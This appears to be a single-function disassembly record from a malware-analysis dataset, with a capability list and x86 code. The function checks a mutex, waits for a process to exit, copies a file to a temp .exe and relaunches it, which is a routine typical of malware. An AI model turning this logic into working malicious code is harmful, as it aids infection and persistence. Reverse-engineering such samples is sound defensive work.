Function at 0x412475
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
push ebx
push esi
mov dword [ebp - 4], ecx
mov ecx, 0x475418
push edi
call fcn.00401fab
push eax
push 1
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
jne 0x4124a6
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, 0x475338
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
push 0x208
lea eax, [ebp - 0x228]
mov edi, 0x4752f0
push eax
push str.eypymqo
mov ecx, edi
call fcn.00401fab
mov edx, eax
call fcn.004136f8
add esp, 0x14
test al, al
jne 0x4124e9
push ebx
jmp 0x4124a0
lea ecx, [ebp - 0x1c]
call fcn.004020df
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x228]
call fcn.0041c485
push ebx
test al, al
je 0x4124a0
push 0x80
push 3
push ebx
push 1
push closesocket
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push dword [ebp - 4]
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x46c4e4
mov ecx, edi
call fcn.00401fab
mov edx, eax
call fcn.00413877
pop ecx
pop ecx
test al, al
je 0x41249e
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
lea eax, [ebp - 0x228]
jne 0x412636
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040247c
lea ecx, [ebp - 0x1c]
mov esi, eax
call fcn.00401fab
mov edx, esi
mov ecx, eax
call fcn.0041c3f1
pop ecx
pop ecx
test al, al
je 0x4125b4
lea eax, [ebp - 0x228]
jmp 0x412636
push 0x208
lea eax, [ebp - 0x638]
push ebx
push eax
call fcn.00436e90
add esp, 0xc
lea eax, [ebp - 0x638]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x430]
push eax
push ebx
push str.temp_
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push str..exe
lea eax, [ebp - 0x430]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040247c
lea ecx, [ebp - 0x1c]
mov esi, eax
call fcn.00401fab
mov edx, esi
mov ecx, eax
call fcn.0041c3f1
pop ecx
pop ecx
test al, al
je 0x412643
lea eax, [ebp - 0x430]
push 1
push ebx
push ebx
push eax
push 0x466108
push ebx
call edi
mov esi, 0x4752f0
lea eax, [ebp - 4]
mov ecx, esi
push eax
push 0x4673a4
call fcn.00401fab
mov edx, eax
call fcn.00413549
mov bl, al
pop ecx
pop ecx
test bl, bl
je 0x41267d
push 0x4673a4
mov ecx, esi
call fcn.00401fab
mov edx, eax
call fcn.004139a9
pop ecx
jmp 0x412688
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
test bl, bl
je 0x412648
push dword [ebp - 4]
xor ebx, ebx
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x46c4e4
mov ecx, 0x4752f0
call fcn.00401fab
mov edx, eax
call fcn.00413877
pop ecx
pop ecx
test al, al
jne 0x41256b
jmp 0x41249e